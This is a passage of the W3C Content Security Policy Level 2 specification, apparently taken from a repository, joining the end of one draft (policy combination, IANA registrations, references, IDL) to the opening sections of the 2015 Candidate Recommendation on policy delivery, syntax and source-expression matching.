The Content-Security-Policy header is an end-to-end header. It is processed and enforced at the client and, therefore, SHOULD NOT be modified or removed by proxies or other intermediaries not in the same administrative domain as the resource.

The originating administrative domain for a resource might wish to apply a Content-Security-Policy header outside of the immediate context of an application. For example, a large organization might have many resources and applications managed by different individuals or teams but all subject to a uniform organizational standard. In such situations, a Content-Security-Policy header might be added or combined with an existing one at a network-edge security gateway device or web application firewall. To enforce multiple policies, the administrator SHOULD combine the policy into a single header. An administrator might wish to use different combination algorithms depending on his or her intended semantics.

One sensible policy combination algorithm is to start by allowing a default set of sources and then letting individual upstream resource owners expand the set of allowed sources by including additional origins. In this approach, the resultant policy is the union of all allowed origins in the input policies.

Another sensible policy combination algorithm is to intersect the given policies. This approach enforces that content comes from a certain whitelist of origins, for example, preventing developers from including third-party scripts or content in violation of organizational standards and practices. In this approach, the combination algorithm forms the combined policy by removing disallowed hosts from the policies supplied by upstream resource owners.

Interactions between the default-src and other directives SHOULD be given special consideration when combining policies. If none of the policies contains a default-src directive, adding new src directives results in a more restrictive policy. However, if one or more of the input policies contain a default-src directive, adding new src directives might result in a less restrictive policy, for example, if the more specific directive contains a more permissive set of allowed origins.

Using a more restrictive policy than the input policy authored by the resource owner might prevent the resource from rendering or operating as intended.

Note: Migration to HTTPS from HTTP may require updates to the policy in order to keep things running as before. Source expressions like http://example.com do not match HTTPS resources. For example, administrators SHOULD carefully examine existing policies before rolling out HTTP Strict Transport Security headers for an application. [RFC6797]

Server administrators MAY wish to send multiple policies if different reporting options are desired for subsets of an overall policy. For instance, the following headers:
Content-Security-Policy: frame-ancestors https://example.com/ 
Content-Security-Policy: default-src https:; report-uri https://example.com/

would send violation reports for http resources, but would not send violation reports for frame-ancestors violations. Note also that combining them via ',' into the single header

Content-Security-Policy: frame-ancestors https://example.com/, default-src https:; report-uri https://example.com/

would have the same effect, as the comma splits the header during parsing.

10.1. Processing Complications

Many user agents implement some form of optimistic resource fetching algorithm to speed up page loads. In implementing these features, user agents MUST ensure that these optimizations do not alter the behavior of the page’s security policy.

Here, we’ll note a few potential complications that could cause bugs in implementations:

  1. The frame-ancestor directive MUST take effect before a document is loaded into a nested browsing context, and certainly before script is potentially executed. One way to approach this constraint is to perform the ancestor check defined in §7.7 frame-ancestors while parsing the document’s headers. This might mean that no document object is available at all, which can complicate checks against 'self', and scheme- or port-relative source expressions.
  2. Likewise, the Link HTTP response header could generate requests for stylesheet resources before a document is available. User agents MUST ensure that any policy contained in the response headers is parsed and effective before these requests are generated. For example, a response returning the following headers:
    Content-Security-Policy: style-src 'none'
    Link: <awesome.css>; rel=stylesheet
    

    MUST have the same behavior as a response returning the following headers:

    Link: <awesome.css>; rel=stylesheet
    Content-Security-Policy: style-src 'none'
    

    namely, both must block requests for the stylesheet. To fulfil this requirement user agents MUST wait until all headers have been processed before beginning to prefetch resources.

11. IANA Considerations

The permanent message header field registry should be updated with the following registrations: [RFC3864]

11.1. Content-Security-Policy

Header field name
Content-Security-Policy
Applicable protocol
http
Status
standard
Author/Change controller
W3C
Specification document
This specification (See Content-Security-Policy Header Field)

11.2. Content-Security-Policy-Report-Only

Header field name
Content-Security-Policy-Report-Only
Applicable protocol
http
Status
standard
Author/Change controller
W3C
Specification document
This specification (See Content-Security-Policy-Report-Only Header Field)

11.3. CSP

Header field name
CSP
Applicable protocol
http
Status
standard
Author/Change controller
W3C
Specification document
This specification (See §3.4 The CSP HTTP Request Header)

12. Acknowledgements

In addition to the documents in the W3C Web Application Security working group, the work on this document is also informed by the work of the IETF websec working group, particularly that working group’s requirements document: draft-hodges-websec-framework-reqs.

A portion of the frame-ancestors directive was originally developed as X-Frame-Options. [RFC7034]

Brian Smith, Neil Matatall, Anne van Kesteren, and Sigbjørn Vik provided particularly insightful feedback to keep this specification sane.

Conformance

Document conventions

Conformance requirements are expressed with a combination of descriptive assertions and RFC 2119 terminology. The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT", "SHOULD", "SHOULD NOT", "RECOMMENDED", "MAY", and "OPTIONAL" in the normative parts of this document are to be interpreted as described in RFC 2119. However, for readability, these words do not appear in all uppercase letters in this specification.

All of the text of this specification is normative except sections explicitly marked as non-normative, examples, and notes. [RFC2119]

Examples in this specification are introduced with the words "for example" or are set apart from the normative text with class="example", like this:

This is an example of an informative example.

Informative notes begin with the word "Note" and are set apart from the normative text with class="note", like this:

Note, this is an informative note.

Conformant Algorithms

Requirements phrased in the imperative as part of algorithms (such as "strip any leading space characters" or "return false and abort these steps") are to be interpreted with the meaning of the key word ("must", "should", "may", etc) used in introducing the algorithm.

Conformance requirements phrased as algorithms or specific steps can be implemented in any manner, so long as the end result is equivalent. In particular, the algorithms defined in this specification are intended to be easy to understand and are not intended to be performant. Implementers are encouraged to optimize.

Conformance Classes

A conformant user agent must implement all the requirements listed in this specification that are applicable to user agents.

A conformant server must implement all the requirements listed in this specification that are applicable to servers.

References

Normative References

[ABNF]
Dave Crocker; Paul Overell. Augmented BNF for Syntax Specifications: ABNF. RFC. URL: http://www.ietf.org/rfc/rfc5234.txt
[BEACON]
Jatinder Mann; Alois Reitbauer. Beacon. WD. URL: http://www.w3.org/TR/beacon/
[ECMA-262]
ECMAScript Language Specification, Edition 5.1. June 2011. URL: http://www.ecma-international.org/publications/standards/Ecma-262.htm
[HTML-IMPORTS]
Dmitri Glazkov; Hajime Morrita. HTML Imports. WD. URL: http://www.w3.org/TR/html-imports/
[RFC3492]
Adam M. Costello. Punycode: A Bootstring encoding of Unicode for Internationalized Domain Names in Applications (IDNA). REC. URL: http://www.ietf.org/rfc/rfc3492.txt
[RFC3864]
Graham Klyne; Mark Nottingham; Jeffrey C. Mogul. Registration Procedures for Message Header Fields. RFC. URL: http://www.ietf.org/rfc/rfc3864.txt
[RFC4627]
Douglas Crockford. The 'application/json' Media Type for JavaScript Object Notation (JSON). RFC. URL: http://www.ietf.org/rfc/rfc4627.txt
[RFC6454]
Adam Barth. The Web Origin Concept. RFC. URL: http://www.ietf.org/rfc/rfc6454.txt
[RFC7034]
David Ross; Tobias Gondrom. HTTP Header Field X-Frame-Options. RFC. URL: http://www.ietf.org/rfc/rfc7034.txt
[RFC7230]
Roy T. Fielding; Julian F. Reschke. HTTP/1.1 Message Syntax and Routing. RFC. URL: http://www.ietf.org/rfc/rfc7230.txt
[RFC7231]
Roy T. Fielding; Julian F. Reschke. HTTP/1.1 Semantics and Content. RFC. URL: http://www.ietf.org/rfc/rfc7231.txt
[SHA2]
Descriptions of SHA-256, SHA-384, and SHA-512. URL: http://csrc.nist.gov/groups/STM/cavp/documents/shs/sha256-384-512.pdf
[URL]
Anne van Kesteren; Sam Ruby. URL. WD. URL: http://www.w3.org/TR/url/
[WebIDL]
Cameron McCormack. Web IDL. 19 April 2012. CR. URL: http://www.w3.org/TR/WebIDL/
[XMLHttpRequest]
Anne van Kesteren; et al. XMLHttpRequest Level 1. 30 January 2014. WD. URL: http://www.w3.org/TR/XMLHttpRequest/
[css3-fonts]
John Daggett. CSS Fonts Module Level 3. 11 December 2012. WD. URL: http://www.w3.org/TR/css3-fonts/
[css4-images]
Elika Etemad; Tab Atkins Jr.. CSS Image Values and Replaced Content Module Level 4. 11 September 2012. WD. URL: http://www.w3.org/TR/css4-images/
[cssom]
Simon Pieters; Glenn Adams. CSS Object Model (CSSOM). 5 December 2013. WD. URL: http://www.w3.org/TR/cssom/
[eventsource]
Ian Hickson. Server-Sent Events. 11 December 2012. CR. URL: http://www.w3.org/TR/eventsource/
[html5]
Robin Berjon; et al. HTML5. 28 October 2014. REC. URL: http://www.w3.org/TR/html5/
[rfc2119]
S. Bradner. Key words for use in RFCs to Indicate Requirement Levels. March 1997. Best Current Practice. URL: http://www.ietf.org/rfc/rfc2119.txt
[rfc3986]
T. Berners-Lee; R. Fielding; L. Masinter. Uniform Resource Identifier (URI): Generic Syntax. January 2005. Internet Standard. URL: http://www.ietf.org/rfc/rfc3986.txt
[rfc5988]
M. Nottingham. Web Linking. October 2010. Proposed Standard. URL: http://www.ietf.org/rfc/rfc5988.txt
[websockets]
Ian Hickson. The WebSocket API. 20 September 2012. CR. URL: http://www.w3.org/TR/websockets/
[workers]
Ian Hickson. Web Workers. 1 May 2012. CR. URL: http://www.w3.org/TR/workers/
[xml11]
Tim Bray; et al. Extensible Markup Language (XML) 1.1 (Second Edition). 16 August 2006. REC. URL: http://www.w3.org/TR/xml11/
[xslt]
James Clark. XSL Transformations (XSLT) Version 1.0. 16 November 1999. REC. URL: http://www.w3.org/TR/xslt

Informative References

[FETCH]
Anne van Kesteren. Fetch. Living Standard. URL: https://fetch.spec.whatwg.org/
[RFC6797]
Jeff Hodges; Collin Jackson; Adam Barth. HTTP Strict Transport Security (HSTS). RFC. URL: http://www.ietf.org/rfc/rfc6797.txt
[UIREDRESS]
Giorgio Maone; et al. User Interface Security Directives for Content Security Policy. WD. URL: http://www.w3.org/TR/UISecurity/

Index

IDL Index

partial interface HTMLScriptElement {
  attribute DOMString nonce;
};

partial interface HTMLStyleElement {
  attribute DOMString nonce;
};

[Constructor(DOMString type, optional SecurityPolicyViolationEventInit eventInitDict)]
interface SecurityPolicyViolationEvent : Event {
    readonly    attribute DOMString documentURI;
    readonly    attribute DOMString referrer;
    readonly    attribute DOMString blockedURI;
    readonly    attribute DOMString violatedDirective;
    readonly    attribute DOMString effectiveDirective;
    readonly    attribute DOMString originalPolicy;
    readonly    attribute DOMString sourceFile;
    readonly    attribute DOMString statusCode;
    readonly    attribute long      lineNumber;
    readonly    attribute long      columnNumber;
};

dictionary SecurityPolicyViolationEventInit : EventInit {
    DOMString documentURI;
    DOMString referrer;
    DOMString blockedURI;
    DOMString violatedDirective;
    DOMString effectiveDirective;
    DOMString originalPolicy;
    DOMString sourceFile;
    long      lineNumber;
    long      columnNumber;
};

================================================ FILE: 2/published/2015-07-CR.html ================================================ Content Security Policy Level 2

Content Security Policy Level 2

W3C Candidate Recommendation,

This version:
http://www.w3.org/TR/2015/CR-CSP2-2-20150701/
Latest version:
http://www.w3.org/TR/CSP2/
Editor's Draft:
https://w3c.github.io/webappsec/specs/CSP2/
Previous Versions:
http://www.w3.org/TR/2014/WD-CSP2-20140703/
http://www.w3.org/TR/2014/WD-CSP11-20140211/
http://www.w3.org/TR/2012/CR-CSP-20121115/
Feedback:
public-webappsec@w3.org with subject line “[CSP2] … message topic …” (archives)
Issue Tracking:
GitHub
Editors:
(Google Inc.)
(Google Inc.)
(Mozilla Corporation)
Former Editors:
(formerly of Mozilla Corporation)

Abstract

This document defines a policy language used to declare a set of content restrictions for a web resource, and a mechanism for transmitting the policy from a server to a client where the policy is enforced.

Status of this document

This section describes the status of this document at the time of its publication. Other documents may supersede this document. A list of current W3C publications and the latest revision of this technical report can be found in the W3C technical reports index at http://www.w3.org/TR/.

This document was published by the Web Application Security Working Group as a Candidate Recommendation. This document is intended to become a W3C Recommendation. This document will remain a Candidate Recommendation at least until in order to ensure the opportunity for wide review.

The (archived) public mailing list public-webappsec@w3.org (see instructions) is preferred for discussion of this specification. When sending e-mail, please put the text “CSP2” in the subject, preferably like this: “[CSP2] …summary of comment…

Publication as a Candidate Recommendation does not imply endorsement by the W3C Membership. This is a draft document and may be updated, replaced or obsoleted by other documents at any time. It is inappropriate to cite this document as other than work in progress.

The entrance criteria for this document to enter the Proposed Recommendation stage is to have a minimum of two independent and interoperable user agents that implementation all the features of this specification, which will be determined by passing the user agent tests defined in the test suite developed by the Working Group. The Working Group will prepare an implementation report to track progress.

This document was produced by a group operating under the 5 February 2004 W3C Patent Policy. W3C maintains a public list of any patent disclosures made in connection with the deliverables of the group; that page also includes instructions for disclosing a patent. An individual who has actual knowledge of a patent which the individual believes contains Essential Claim(s) must disclose the information in accordance with section 6 of the W3C Patent Policy.

This document is governed by the 1 August 2014 W3C Process Document.

The following features are at-risk, and may be dropped during the CR period:

Table of Contents

1. Introduction

This section is not normative.

This document defines Content Security Policy, a mechanism web applications can use to mitigate a broad class of content injection vulnerabilities, such as cross-site scripting (XSS). Content Security Policy is a declarative policy that lets the authors (or server administrators) of a web application inform the client about the sources from which the application expects to load resources.

To mitigate XSS attacks, for example, a web application can declare that it only expects to load script from specific, trusted sources. This declaration allows the client to detect and block malicious scripts injected into the application by an attacker.

Content Security Policy (CSP) is not intended as a first line of defense against content injection vulnerabilities. Instead, CSP is best used as defense-in-depth, to reduce the harm caused by content injection attacks. As a first line of defense against content injection, server operators should validate their input and encode their output.

There is often a non-trivial amount of work required to apply CSP to an existing web application. To reap the greatest benefit, authors will need to move all inline script and style out-of-line, for example into external scripts, because the user agent cannot determine whether an inline script was injected by an attacker.

To take advantage of CSP, a web application opts into using CSP by supplying a Content-Security-Policy HTTP header. Such policies apply to the current resource representation only. To supply a policy for an entire site, the server needs to supply a policy with each resource representation.

1.1. Changes from Level 1

This document describes an evolution of the Content Security Policy specification. Level 2 makes two breaking changes from Level 1, and adds support for a number of new directives and capabilities which are summarized below:

  1. The following changes are backwards incompatible with the majority of user agent’s implementations of CSP 1:
    1. The path component of a source expression is now ignored if the resource being loaded is the result of a redirect, as described in §4.2.2.3 Paths and Redirects.

      Note: Paths are technically new in CSP2, but they were already implemented in many user agents before this revision of CSP was completed, so noting the change here seems reasonable.

    2. A protected resource’s ability to load Workers is now controlled via child-src rather than script-src.
    3. Workers now have their own policy, separate from the protected resource which loaded them. This is described in §5.1 Workers.
  2. The following directives are brand new in this revision:
    1. base-uri controls the protected resource’s ability to specify the document base URL.
    2. child-src deprecates and replaces frame-src, controlling the protected resource’s ability to embed frames, and to load Workers.
    3. form-action controls the protected resource’s ability to submit forms.
    4. frame-ancestors controls the protected resource’s ability be embedded in other documents. It is meant to supplant the X-Frame-Options HTTP request header.
    5. plugin-types controls the protected resource’s ability to load specific types of plugins.
  3. Individual inline scripts and stylesheets may be whitelisted via nonces (as described in §4.2.4 Valid Nonces) and hashes (as described in §4.2.5 Valid Hashes).
  4. A CSP request header is now sent with relevant requests, as described in §3.4 The CSP HTTP Request Header.
  5. A SecurityPolicyViolationEvent is fired upon violations, as described in §6.3 Firing Violation Events.
  6. A number of new fields were added to violation reports (both those POSTED via report-uri, and those handed to the DOM via SecurityPolicyViolationEvent events. These include effectiveDirective, statusCode, sourceFile, lineNumber, and columnNumber.
  7. Certain flags present in the sandbox directive now affect Worker creation, as described in §7.14.1 Sandboxing and Workers.

2. Key Concepts and Terminology

2.1. Terms defined by this specification

security policy
security policy directive
security policy directive name
security policy directive value
A security policy refers to both a set of security preferences for restrictions within which content can operate, and to a fragment of text that codifies or transmits these preferences. For example, the following string is a policy which restricts script and object content:
script-src 'self'; object-src 'none'

Security policies contain a set of security policy directives (script-src and object-src in the example above), each responsible for declaring the restrictions for a particular resource type, or manipulating a specific aspect of the policy’s restrictions. The list of directives defined by this specification can be found in §7 Directives.

Each directives has a name and a value; a detailed grammar can be found in §4 Syntax and Algorithms.

protected resource
A security policy is applied by a user agent to a specific resource representation, known as the protected resource. See §3 Policy Delivery for details regarding the mechanisms by which policies may be applied to a protected resource.

2.2. Terms defined by reference

globally unique identifier
Defined in Section 2.3 of the Origin specification. [RFC6454]

NOTE: URLs which do not use hierarchical elements as naming authorities (data:, for instance) have origins which are globally unique identifiers.

HTTP 200 response
Defined in Section 6.3.1 of HTTP/1.1 -- Semantics and Content. [RFC7231]
JSON object
JSON stringification
Defined in the JSON specification. [RFC4627]
origin
Defined by the Origin specification. [RFC6454]
resource representation
Defined in Section 3 of HTTP/1.1 -- Semantics and Content. [RFC7231]
URL
Defined by [URL].
SHA-256
SHA-384
SHA-512
These digest algorithms are defined by the NIST. [SHA2]

2.3. Relevant Concepts from HTML

The applet, audio, embed, iframe, img, link, object, script, source, track, and video are defined in [HTML5].

The terms auxiliary browsing contexts, opener browsing context, and nested browsing contexts are defined in the HTML5 specification. [HTML5]

A plugin is defined in the HTML5 specification. [HTML5]

The <<@font-face>> Cascading Style Sheets (CSS) rule is defined in the CSS Fonts Module Level 3 specification. [CSS3-FONTS]

The XMLHttpRequest object is defined in the XMLHttpRequest specification. [XMLHTTPREQUEST]

The WebSocket object is defined in the WebSocket specification. [WEBSOCKETS]

The EventSource object is defined in the EventSource specification. [EVENTSOURCE]

The runs a worker algorithm is defined in the Web Workers spec. [WORKERS]

The term callable refers to an object whose interface has one or more callers as defined in the Web IDL specification [WEBIDL].

2.4. Grammatical Concepts

The Augmented Backus-Naur Form (ABNF) notation used in this document is specified in RFC5234. [ABNF]

This document also uses the ABNF extension "#rule" as defined in Section 7 of HTTP/1.1 -- Message Syntax and Routing. [RFC7230]

The following core rules are included by reference, as defined in Appendix B.1 of [ABNF]: ALPHA (letters), DIGIT (decimal 0-9), WSP (white space) and VCHAR (printing characters).

3. Policy Delivery

The server delivers a policy to the user agent via an HTTP response header (defined in §3.1 Content-Security-Policy Header Field and §3.2 Content-Security-Policy-Report-Only Header Field) or an HTML meta element (defined in §3.3 HTML meta Element).

Servers are informed that requests are coming from a protected resource via an HTTP request header (defined in §3.4 The CSP HTTP Request Header).

3.1. Content-Security-Policy Header Field

The Content-Security-Policy header field is the preferred mechanism for delivering a policy. The grammar is as follows:

"Content-Security-Policy:" 1#policy-token

For example, a response might include the following header field:

Content-Security-Policy: script-src 'self'

A server MUST NOT send more than one HTTP header field named Content-Security-Policy with a given resource representation.

A server MAY send different Content-Security-Policy header field values with different representations of the same resource or with different resources.

Upon receiving an HTTP response containing at least one Content-Security-Policy header field, the user agent MUST enforce each of the policies contained in each such header field.

3.2. Content-Security-Policy-Report-Only Header Field

The Content-Security-Policy-Report-Only header field lets servers experiment with policies by monitoring (rather than enforcing) a policy. The grammar is as follows:

"Content-Security-Policy-Report-Only:" 1#policy-token

For example, server operators might wish to develop their security policy iteratively. The operators can deploy a report-only policy based on their best estimate of how their site behaves:

Content-Security-Policy-Report-Only: script-src 'self';
                                     report-uri /csp-report-endpoint/

If their site violates this policy the user agent will send violation reports to the URL specified in the policy’s report-uri directive, but allow the violating resources to load regardless. Once a site has confidence that the policy is appropriate, they can start enforcing the policy using the Content-Security-Policy header field.

A server MUST NOT send more than one HTTP header field named Content-Security-Policy-Report-Only with a given resource representation.

A server MAY send different Content-Security-Policy-Report-Only header field values with different representations of the same resource or with different resources.

Upon receiving an HTTP response containing at least one Content-Security-Policy-Report-Only header field, the user agent MUST monitor each of the policies contained in each such header field.

Note: The Content-Security-Policy-Report-Only header is not supported inside a meta element.

3.3. HTML meta Element

The server MAY supply policy via one or more HTML meta elements with http-equiv attributes that are an ASCII case-insensitive match for the string "Content-Security-Policy". For example:

<meta http-equiv="Content-Security-Policy" content="script-src 'self'">

Add the following entry to the pragma directives for the meta element:

Content security policy (http-equiv="content-security-policy")
  1. If the Document’s head element is not an ancestor of the meta element, abort these steps.
  2. If the meta element lacks a content attribute, abort these steps.
  3. Let policy be the value of the content attribute of the meta element.
  4. Let directive-set be the result of parsing policy.
  5. Remove all occurrences of report-uri, frame-ancestors, and sandbox directives from directive-set.

    Note: User agents are encouraged to issue a warning to developers if one or more of these directives are included in a policy delivered via meta.

  6. Enforce each of the directives in directive-set, as defined for each directive type.

Authors are strongly encouraged to place meta elements as early in the document as possible, because policies in meta elements are not applied to content which preceeds them. In particular, note that resources fetched or prefetched using the Link HTTP response header field, and resources fetched or prefetched using link and script elements which preceed a meta-delivered policy will not be blocked.

Note: A policy specified via a meta element will be enforced along with any other policies active for the protected resource, regardless of where they’re specified. The general impact of enforcing multiple policies is described in §3.5 Enforcing multiple policies..

Note: Modifications to the content attribute of a meta element after the element has been parsed will be ignored.

Note: The Content-Security-Policy-Report-Only header is not supported inside a meta element.

3.4. The CSP HTTP Request Header

The CSP header field indicates that a particular request is subject to a policy, and its value is defined by the following ABNF grammar:

"CSP:" csp-header-value

csp-header-value = *WSP "active" *WSP

If the user agent is monitoring or enforcing a policy that includes directives whose value is a source list, then the user agent MUST send a header field named CSP along with requests for resources whose origin does not match the protected resource’s origin. The value of this header MUST be active.

The user agent MAY choose to send this header only if the request is for a resource type which the active policy would effect. That is, given a policy of img-src example.com, the user agent would send CSP: active along with requests for images, but might choose not to send the header with requests for script.

Note: The central reason for including this header is that it hints to a server that information about redirects might be leaked as a side-effect of a page’s active policy. If this header is present, a server might decline to redirect a logged-out user from example.com to accounts.example.com, for example, as a malicious embedder might otherwise be able to determine the user’s logged-in status.

3.5. Enforcing multiple policies.

This section is not normative.

The above sections note that when multiple policies are present, each must be enforced or reported, according to its type. An example will help clarify how that ought to work in practice. The behavior of an XMLHttpRequest might seem unclear given a site that, for whatever reason, delivered the following HTTP headers:

Content-Security-Policy: default-src 'self' http://example.com http://example.net;
                         connect-src 'none';
Content-Security-Policy: connect-src http://example.com/;
                         script-src http://example.com/

Is a connection to example.com allowed or not? The short answer is that the connection is not allowed. Enforcing both policies means that a potential connection would have to pass through both unscathed. Even though the second policy would allow this connection, the first policy contains connect-src 'none', so its enforcement blocks the connection. The impact is that adding additional policies to the list of policies to enforce can only further restrict the capabilities of the protected resource.

To demonstrate that further, consider a script tag on this page. The first policy would lock scripts down to 'self', http://example.com and http://example.net via the default-src directive. The second, however, would only allow script from http://example.com/. Script will only load if it meets both policy’s criteria: in this case, the only origin that can match is http://example.com, as both policies allow it.

3.6. Policy applicability

This section is not normative.

Policies are associated with an protected resource, and enforced or monitored for that resource. If a resource does not create a new execution context (for example, when including a script, image, or stylesheet into a document), then any policies delivered with that resource are discarded without effect. Its execution is subject to the policy or policies of the including context. The following table outlines examples of these relationships:

Resource Type What policy applies?
Top-level Contexts HTML as a new, top-level browsing context The policy delivered with the resource
SVG, as a top-level document Policy delivered with the resource
Embedded Contexts Any resource included via iframe, object, or embed The policy of the embedding resource controls what may be embedded. The embedded resource, however, is controlled by the policy delivered with the resource, or the policy of the embedding resource if the embedded resource is a globally unique identifier (or a srcdoc frame).
SVG, as an embedded document The policy delivered with the resource, or policy of the creating context if created from a globally unique identifier.
JavaScript, as a Worker, Shared Worker or Service Worker The policy delivered with the resource, or policy of the creating context if created from a globally unique identifier
Subresources SVG, inlined via svg Policy of the including context
SVG, as a resource document Policy of the including context
HTML via XMLHttpRequest Policy of the context that performed the fetch
Image via img element Policy of the including context
JavaScript via a script element Policy of the including context
SVG, via img No policy; should be just as safe as JPG
SVG, as a WebFont No policy; should be just as safe as WOFF

4. Syntax and Algorithms

4.1. Policy Syntax

A Content Security Policy consists of a U+003B SEMICOLON (;) delimited list of directives. Each directive consists of a directive name and (optionally) a directive value, defined by the following ABNF:

policy-token    = [ directive-token *( ";" [ directive-token ] ) ]
directive-token = *WSP [ directive-name [ WSP directive-value ] ]
directive-name  = 1*( ALPHA / DIGIT / "-" )
directive-value = *( WSP / <VCHAR except ";" and ","> )

4.1.1. Parsing Policies

To parse the policy policy, the user agent MUST use an algorithm equivalent to the following:

  1. Let the set of directives be the empty set.
  2. For each non-empty token returned by strictly splitting the string policy on the character U+003B SEMICOLON (;):
    1. Skip whitespace.
    2. Collect a sequence of characters that are not space characters. The collected characters are the directive name.
    3. If there are characters remaining in token, skip ahead exactly one character (which must be a space character).
    4. The remaining characters in token (if any) are the directive value.
    5. If the set of directives already contains a directive whose name is a case insensitive match for directive name, ignore this instance of the directive and continue to the next token.
    6. Add a directive to the set of directives with name directive name and value directive value.
  3. Return the set of directives.

4.2. Source List Syntax

Many CSP directives use a value consisting of a source list, defined in the ABNF grammar below.

Each source expression in the source list represents a location from which content of the specified type can be retrieved. For example, the source expression 'none' represents the empty set of URLs, and the source expression 'unsafe-inline' represents content supplied inline in the resource itself.

source-list       = *WSP [ source-expression *( 1*WSP source-expression ) *WSP ]
                  / *WSP "'none'" *WSP
source-expression = scheme-source / host-source / keyword-source / nonce-source / hash-source
scheme-source     = scheme-part ":"
host-source       = [ scheme-part "://" ] host-part [ port-part ] [ path-part ]
keyword-source    = "'self'" / "'unsafe-inline'" / "'unsafe-eval'"
base64-value      = 1*( ALPHA / DIGIT / "+" / "/" )*2( "=" )
nonce-value       = base64-value
hash-value        = base64-value
nonce-source      = "'nonce-" nonce-value "'"
hash-algo         = "sha256" / "sha384" / "sha512"
hash-source       = "'" hash-algo "-" hash-value "'"
scheme-part       = <scheme production from RFC 3986, section 3.1>
host-part         = "*" / [ "*." ] 1*host-char *( "." 1*host-char )
host-char         = ALPHA / DIGIT / "-"
path-part         = <path production from RFC 3986, section 3.3>
port-part         = ":" ( 1*DIGIT / "*" )

If the policy contains a nonce-source expression, the server MUST generate a fresh value for the nonce-value directive at random and independently each time it transmits a policy. The generated value SHOULD be at least 128 bits long (before encoding), and generated via a cryptographically secure random number generator. This requirement ensures that the nonce-value is difficult for an attacker to predict.

Note: Using a nonce to whitelist inline script or style is less secure than not using a nonce, as nonces override the restrictions in the directive in which they are present. An attacker who can gain access to the nonce can execute whatever script they like, whenever they like. That said, nonces provide a substantial improvement over 'unsafe-inline' when layering a content security policy on top of old code. When considering 'unsafe-inline', authors are encouraged to consider nonces (or hashes) instead.

The host-char production intentionally contains only ASCII characters; internationalized domain names cannot be entered directly into a policy string, but instead MUST be Punycode-encoded [RFC3492]. For example, the domain üüüüüü.de would be encoded as xn--tdaaaaaa.de.

NOTE: Though IP addresses do match the grammar above, only 127.0.0.1 will actually match a URL when used in a source expression (see §4.2.2 Matching Source Expressions for details). The security properties of IP addresses are suspect, and authors ought to prefer hostnames to IP addresses whenever possible.

4.2.1. Parsing Source Lists

To parse a source list source list, the user agent MUST use an algorithm equivalent to the following:

  1. Strip leading and trailing whitespace from source list.
  2. If source list is an ASCII case-insensitive match for the string 'none' (including the quotation marks), return the empty set.
  3. Let set of source expressions be the empty set.
  4. For each token returned by splitting source list on spaces, if the token matches the grammar for source-expression, add the token to the set of source expressions.
  5. Return the set of source expressions.

Note: Characters like U+003B SEMICOLON (;) and U+002C COMMA (,) cannot appear in source expressions directly: if you’d like to include these characters in a source expression, they must be percent encoded as %3B and %2C respectively.

4.2.2. Matching Source Expressions

A URL url is said to match a source expression for a protected resource if the following algorithm returns does match:

  1. Let url be the result of processing the URL through the URL parser.
  2. If the source expression a consists of a single U+002A ASTERISK character (*), and url’s scheme is not one of blob, data, filesystem, then return does match.
  3. If the source expression matches the grammar for scheme-source:
    1. If url’s scheme is an ASCII case-insensitive match for the source expression’s scheme-part, return does match.
    2. Otherwise, return does not match.
  4. If the source expression matches the grammar for host-source:
    1. If url’s host is null, return does not match.
    2. Let url-scheme, url-host, and url-port be the scheme, host, and port of url’s origin, respectively.

      Note: If url doesn’t specify a port, then its origin’s port will be the default port for url’s scheme.

    3. Let url-path-list be the path of url.
    4. If the source expression has a scheme-part that is not a case insensitive match for url-scheme, then return does not match.
    5. If the source expression does not have a scheme, return does not match if any of the following are true:
      1. the scheme of the protected resource’s URL is a case insensitive match for HTTP, and url-scheme is not a case insensitive match for either HTTP or HTTPS
      2. the scheme of the protected resource’s URL is not a case insensitive match for HTTP, and url-scheme is not a case insensitive match for the scheme of the protected resource’s URL.
    6. If the first character of the source expression’s host-part is an U+002A ASTERISK character (*) and the remaining characters, including the leading U+002E FULL STOP character (.), are not a case insensitive match for the rightmost characters of url-host, then return does not match.
    7. If the first character of the source expression’s host-part is not an U+002A ASTERISK character (*) and url-host is not a case insensitive match for the source expression’s host-part, then return does not match.
    8. If the source expression’s host-part matches the IPv4address production from [RFC3986], and is not 127.0.0.1, or is an IPv6 address, return does not match.

      Note: A future version of this specification may allow literal IPv6 and IPv4 addresses, depending on usage and demand. Given the weak security properties of IP addresses in relation to named hosts, however, authors are encouraged to prefer the latter whenever possible.

    9. If the source expression does not contain a port-part and url-port is not the default port for url-scheme, then return does not match.
    10. If the source expression does contain a port-part, then return does not match if both of the following are true:
      1. port-part does not contain an U+002A ASTERISK character (*)
      2. port-part does not represent the same number as url-port
    11. If the source expression contains a non-empty path-part, and the URL is not the result of a redirect, then:
      1. Let exact-match be true if the final character of path-part is not the U+002F SOLIDUS character (/), and false otherwise.
      2. Let source-expression-path-list be the result of splitting path-part on the U+002F SOLIDUS character (/).
      3. If source-expression-path-list’s length is greater than url-path-list’s length, return does not match.
      4. For each entry in source-expression-path-list:
        1. Percent decode entry.
        2. Percent decode the first item in url-path-list.
        3. If entry is not an ASCII case-insensitive match for the first item in url-path-list, return does not match.
        4. Pop the first item in url-path-list off the list.
      5. If exact-match is true, and url-path-list is not empty, return does not match.
    12. Otherwise, return does match.
  5. If the source expression is a case insensitive match for 'self' (including the quotation marks), then:
    1. Return does match if the origin of url matches the origin of protected resource’s URL.

      Note: This includes IP addresses. That is, a document at https://111.111.111.111/ with a policy of img-src 'self' can load the image https://111.111.111.111/image.png, as the origins match.

  6. Otherwise, return does not match.

Note: This algorithm treats the URLs https://example.com/ and https://example.com./ as non-matching. This is consistent with browser behavior which treats documents served from these URLs as existing in distinct origins.

A URL url is said to match a source list for protected resource if at least one source expression in the set of source expressions obtained by parsing the source list matches url for protected resource.

Note: No URLs match an empty set of source expressions, such as the set obtained by parsing the source list 'none'.

4.2.2.1. Security Considerations for GUID URL schemes

This section is not normative.

As defined above, special URL schemes that refer to specific pieces of unique content, such as "data:", "blob:" and "filesystem:" are excluded from matching a policy of * and must be explicitly listed. Policy authors should note that the content of such URLs is often derived from a response body or execution in a Document context, which may be unsafe. Especially for the default-src and script-src directives, policy authors should be aware that allowing "data:" URLs is equivalent to unsafe-inline and allowing "blob:" or "filesystem:" URLs is equivalent to unsafe-eval.

4.2.2.2. Path Matching

This section is not normative.

The rules for matching source expressions that contain paths are simpler than they look: paths that end with the '/' character match all files in a directory and its subdirectories. Paths that do not end with the '/' character match only one specific file. A few examples should make this clear:

  1. The source expression example.com has no path, and therefore matches any file served from that host.
